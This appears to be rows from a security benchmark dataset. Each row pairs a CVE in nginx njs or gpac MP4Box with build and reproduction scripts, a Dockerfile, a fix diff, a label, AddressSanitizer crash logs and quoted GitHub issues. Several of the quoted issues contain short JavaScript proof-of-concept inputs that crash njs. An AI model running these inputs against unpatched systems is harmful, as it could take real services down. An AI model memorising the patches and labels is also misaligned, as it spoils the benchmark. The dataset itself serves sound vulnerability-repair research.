#10 0x7fffee1e1082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x42ac7d in _start (/home/fuzz/gpac/bin/gcc/MP4Box+0x42ac7d)
0x602000001640 is located 0 bytes to the right of 16-byte region [0x602000001630,0x602000001640)
allocated by thread T0 here:
#0 0x4a5edd in malloc (/home/fuzz/gpac/bin/gcc/MP4Box+0x4a5edd)
#1 0x7ffff03674e4 in gf_malloc /home/fuzz/gpac/src/utils/alloc.c:150:9
#2 0x7ffff1b28192 in sgpd_parse_entry /home/fuzz/gpac/src/isomedia/box_code_base.c:9994:2
#3 0x7ffff1b1ed19 in sgpd_box_read /home/fuzz/gpac/src/isomedia/box_code_base.c:10259:9
#4 0x7ffff1d1093f in gf_isom_box_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1897:9
#5 0x7ffff1d0b2d6 in gf_isom_box_parse_ex /home/fuzz/gpac/src/isomedia/box_funcs.c:282:14
#6 0x7ffff1d18173 in gf_isom_box_array_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1790:7
#7 0x7ffff1aa4de4 in traf_box_read /home/fuzz/gpac/src/isomedia/box_code_base.c:6363:13
#8 0x7ffff1d1093f in gf_isom_box_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1897:9
#9 0x7ffff1d0b2d6 in gf_isom_box_parse_ex /home/fuzz/gpac/src/isomedia/box_funcs.c:282:14
#10 0x7ffff1d18173 in gf_isom_box_array_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1790:7
#11 0x7ffff1a2723c in moof_box_read /home/fuzz/gpac/src/isomedia/box_code_base.c:3676:9
#12 0x7ffff1d1093f in gf_isom_box_read /home/fuzz/gpac/src/isomedia/box_funcs.c:1897:9
#13 0x7ffff1d0b2d6 in gf_isom_box_parse_ex /home/fuzz/gpac/src/isomedia/box_funcs.c:282:14
#14 0x7ffff1d06ad9 in gf_isom_parse_root_box /home/fuzz/gpac/src/isomedia/box_funcs.c:38:8
#15 0x7ffff1da93a5 in gf_isom_parse_movie_boxes_internal /home/fuzz/gpac/src/isomedia/isom_intern.c:378:7
#16 0x7ffff1da7ace in gf_isom_parse_movie_boxes /home/fuzz/gpac/src/isomedia/isom_intern.c:868:6
#17 0x7ffff1dc3c43 in gf_isom_open_file /home/fuzz/gpac/src/isomedia/isom_intern.c:988:19
#18 0x7ffff1df57ff in gf_isom_open /home/fuzz/gpac/src/isomedia/isom_read.c:509:11
#19 0x540f28 in mp4box_main /home/fuzz/gpac/applications/mp4box/mp4box.c:6221:12
#20 0x5540c1 in main /home/fuzz/gpac/applications/mp4box/mp4box.c:6846:1
#21 0x7fffee1e1082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/gpac/src/isomedia/box_funcs.c:1997:9 in gf_isom_box_size
Shadow bytes around the buggy address:
0x0c047fff8270: fa fa 00 00 fa fa 01 fa fa fa 00 00 fa fa 01 fa
0x0c047fff8280: fa fa 00 00 fa fa 01 fa fa fa 00 00 fa fa 00 00
0x0c047fff8290: fa fa 00 00 fa fa 00 00 fa fa 07 fa fa fa 00 00
0x0c047fff82a0: fa fa 00 00 fa fa 00 fa fa fa 00 00 fa fa 00 00
0x0c047fff82b0: fa fa 00 00 fa fa 00 fa fa fa 01 fa fa fa 00 00
=>0x0c047fff82c0: fa fa 00 00 fa fa 00 00[fa]fa 01 fa fa fa 00 00
0x0c047fff82d0: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff82e0: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff82f0: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff8300: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
0x0c047fff8310: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1805484==ABORTING
poc_hbo01_s.dat
Impact
This vulnerability is capable of crashing software, use unexpected value, or possible code execution. |
njs.cve-2022-31307 | nginx/njs | njs | c++ | /src/njs | address | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_string_offset at src/njs_string.c. | f65981b0b8fcf02d69a40bc934803c25c9f607ab | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and is executable
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
export CFLAGS="$CFLAGS -fno-use-cxa-atexit"
export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit"
# Configure and build
./configure
make -j$(nproc)
# Remove fuzzer-related and install commands
# Ensure directories are created without error
mkdir -p /desired/path | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR njs.cve-2022-31307..."
/src/njs/build/njs /testcase/poc.js
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/njs
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 982100ba56798dfc487ec9d792ce91916e14c5cc
WORKDIR $SRC/njs
COPY build.sh $SRC/ | diff --git a/src/njs_iterator.c b/src/njs_iterator.c
index 90c3046f..043e4483 100644
--- a/src/njs_iterator.c
+++ b/src/njs_iterator.c
@@ -560,11 +560,14 @@ njs_object_iterate_reverse(njs_vm_t *vm, njs_iterator_args_t *args,
} else {
/* UTF-8 string. */
- p = njs_string_offset(string_prop.start, end, from);
- p = njs_utf8_next(p, end);
-
+ p = NULL;
i = from + 1;
+ if (i > to) {
+ p = njs_string_offset(string_prop.start, end, from);
+ p = njs_utf8_next(p, end);
+ }
+
while (i-- > to) {
pos = njs_utf8_prev(p);
| 0 | ==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)
==732134==The signal is caused by a READ memory access.
==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
#1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
#2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset
==732134==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/482
## Description:
Issue: nginx/njs#482
Title: SEGV njs_string.c:2535:18 in njs_string_offset
State: closed
Created by: Q1IQ
Created at: 2022-03-02 11:46:11+00:00
Labels: bug, fuzzer
Issue Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a4 = String.fromCodePoint(6631);
const a7 = Object(a4);
const a9 = [65537,a7,"c"];
const a10 = Object.setPrototypeOf(a7,a9);
const a11 = a10.lastIndexOf(a4,...-1000000000.0);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)
==732134==The signal is caused by a READ memory access.
==732134==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
#1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
#2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
#3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset
==732134==ABORTING
```
### Credit
Q1IQ(@Q1IQ) |
njs.cve-2021-46462 | nginx/njs | njs | c++ | /src/njs | address | njs through 0.7.1, used in NGINX, was discovered to contain a segmentation violation via njs_object_set_prototype in /src/njs_object.c. | 6a40a85ff239497c6458c7dbef18f6a2736fe992 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and run it if present
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
export CFLAGS="$CFLAGS -fno-use-cxa-atexit"
export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit"
# Configure and build
./configure
make -j$(nproc)
# Ensure directories are created
mkdir -p /desired/path | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR njs.cve-2021-46462..."
/src/njs/build/njs /testcase/poc.js
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/njs
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 6a40a85ff239497c6458c7dbef18f6a2736fe992
WORKDIR $SRC/njs
COPY build.sh $SRC/ | diff --git a/src/njs_function.c b/src/njs_function.c
index 0c23ca05..ae0fa11f 100644
--- a/src/njs_function.c
+++ b/src/njs_function.c
@@ -1385,18 +1385,10 @@ njs_function_prototype_apply(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,
if (njs_is_null_or_undefined(arr_like)) {
length = 0;
-
- goto activate;
-
- } else if (njs_is_array(arr_like)) {
- arr = arr_like->data.u.array;
-
- args = arr->start;
- length = arr->length;
-
goto activate;
+ }
- } else if (njs_slow_path(!njs_is_object(arr_like))) {
+ if (njs_slow_path(!njs_is_object(arr_like))) {
njs_type_error(vm, "second argument is not an array-like object");
return NJS_ERROR;
}
| 1 | ==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0)
==466519==The signal is caused by a READ memory access.
==466519==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24
#1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19
#2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19
#3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23
#4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
#7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
#8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
#9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
#10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype
==466519==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/449
## Description:
Issue: nginx/njs#449
Title: SEGV /njs/src/njs_object.c:2136:24 in njs_object_set_prototype
State: closed
Created by: anonym0us1337
Created at: 2021-12-24 06:28:54+00:00
Labels: bug, fuzzer
Issue Body:
## Env
```
Version : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS : Ubuntu 20.04
Configure : ./configure --address-sanitizer=YES
```
## POC
```
function main() {
const v3 = [23490,23490,23490,23490];
const v4 = {};
v3.length = 1577595327;
const v9 = Object.apply(...v4,v3);
v3.__proto__ = v9;
}
main();
```
## Stack Dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0)
==466519==The signal is caused by a READ memory access.
==466519==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24
#1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19
#2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19
#3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23
#4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
#5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
#6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
#7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
#8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
#9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
#10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype
==466519==ABORTING
```
## Credit
P1umer, afang5472, Kotori of NeSE@IIE |
njs.cve-2022-29779 | nginx/njs | njs | c++ | /src/njs | address | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_value_own_enumerate at src/njs_value.c. | f65981b0b8fcf02d69a40bc934803c25c9f607ab | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
# Check if autogen.sh exists and is executable
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
export CFLAGS="$CFLAGS -fno-use-cxa-atexit"
export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit"
# Configure and build
./configure
make -j$(nproc)
# Remove fuzzer-related and installation commands
# Ensure directories are created without error
mkdir -p /src/njs/build | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR njs.cve-2022-29779..."
# TODO: Add commands to trigger the specific vulnerability
# For now, it's a placeholder.
/src/njs/build/njs /testcase/poc.js
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/njs
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 8b39afdad9a0761e0a5d4af1a762bd9a6daef572
WORKDIR $SRC/njs
COPY build.sh $SRC/ | diff --git a/src/njs_array.c b/src/njs_array.c
index 81a7c155..2ceb6be7 100644
--- a/src/njs_array.c
+++ b/src/njs_array.c
@@ -1284,6 +1284,11 @@ njs_array_prototype_splice(njs_vm_t *vm, njs_value_t *args, njs_uint_t nargs,
if (njs_slow_path(ret == NJS_ERROR)) {
return ret;
}
+
+ } else {
+ if (deleted->object.fast_array) {
+ njs_set_invalid(&deleted->start[i]);
+ }
}
}
| 1 | ==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
#0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
#1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
#2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
#3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
#4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
#5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
#6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
#7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
#8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
#10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
#11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
#12 0x555b6444721f in main src/njs_shell.c:303
#13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/485
## Description:
Issue: nginx/njs#485
Title: SEGV src/njs_value.c:240 in njs_value_own_enumerate
State: closed
Created by: xmzyshypnc
Created at: 2022-03-16 09:40:33+00:00
Labels: bug, fuzzer
Issue Body:
# Environment
OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.3
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
# PoC
```js
function main() {
var empty_arr = {};
var arr1 = [empty_arr];
var arr2 = new Uint8Array();
arr2.__proto__ = arr1;
var arr3 = arr2.splice(..."bigint");
Promise.valueOf = arr3;
var v9 = Array(0x20000000000000);
}
main();
```
# Stack dump
```bash
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
#0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
#1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
#2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
#3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
#4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
#5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
#6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
#7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
#8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
#10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
#11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
#12 0x555b6444721f in main src/njs_shell.c:303
#13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING
```
# Credit
xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer) |
njs.cve-2022-29369 | nginx/njs | njs | c++ | /src/njs | address | Nginx NJS v0.7.2 was discovered to contain a segmentation violation via njs_lvlhsh_bucket_find at njs_lvlhsh.c. | 7bd570b39297d3d91902c93a624c89b08be7a6fe | #!/bin/bash -eu
# Minimized build script with only core build commands
# Check if autogen.sh exists and is executable
if [ -f ./autogen.sh ]; then
chmod +x ./autogen.sh
./autogen.sh
fi
# Set compiler flags
export CFLAGS="$CFLAGS -fno-use-cxa-atexit"
export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit"
# Configure the build
./configure
# Build the project
make -j$(nproc)
# Remove fuzzer-related and install commands
# Ensure directories are created without error
mkdir -p /desired/path/for/output | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR njs.cve-2022-29369..."
# TODO: Add commands to trigger the specific vulnerability
# For now, it's a placeholder.
/src/njs/build/njs /testcase/poc.js
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/njs
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 7723f9dc520f08d3a75adf5dac6556503a00ec87
WORKDIR $SRC/njs
COPY build.sh $SRC/ | diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c
index 3039642c..6b10200e 100644
--- a/src/njs_vmcode.c
+++ b/src/njs_vmcode.c
@@ -680,7 +700,7 @@ next:
ret = njs_object_prop_define(vm, value1, &name, function,
accessor->type);
if (njs_slow_path(ret != NJS_OK)) {
- return NJS_ERROR;
+ goto error;
}
ret = sizeof(njs_vmcode_prop_accessor_t);
@@ -754,12 +779,12 @@ next:
}
if (njs_slow_path(!njs_is_function(&dst))) {
- ret = njs_value_to_key(vm, value2, value2);
+ ret = njs_value_to_key(vm, &dst, value2);
if (njs_slow_path(ret != NJS_OK)) {
- return NJS_ERROR;
+ goto error;
}
- njs_key_string_get(vm, value2, &string);
+ njs_key_string_get(vm, &dst, &string);
njs_type_error(vm,
"(intermediate value)[\"%V\"] is not a function",
&string);
@@ -905,7 +950,8 @@ next:
if (njs_is_valid(value1)) {
value1 = njs_mp_alloc(vm->mem_pool, sizeof(njs_value_t));
if (njs_slow_path(value1 == NULL)) {
- return NJS_ERROR;
+ njs_memory_error(vm);
+ goto error;
}
njs_scope_value_set(vm, var->dst, value1);
@@ -922,7 +968,8 @@ next:
value1 = njs_mp_alloc(vm->mem_pool, sizeof(njs_value_t));
if (njs_slow_path(value1 == NULL)) {
- return NJS_ERROR;
+ njs_memory_error(vm);
+ goto error;
}
*value1 = *value2;
| 1 | ==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0)
==2064577==The signal is caused by a READ memory access.
==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
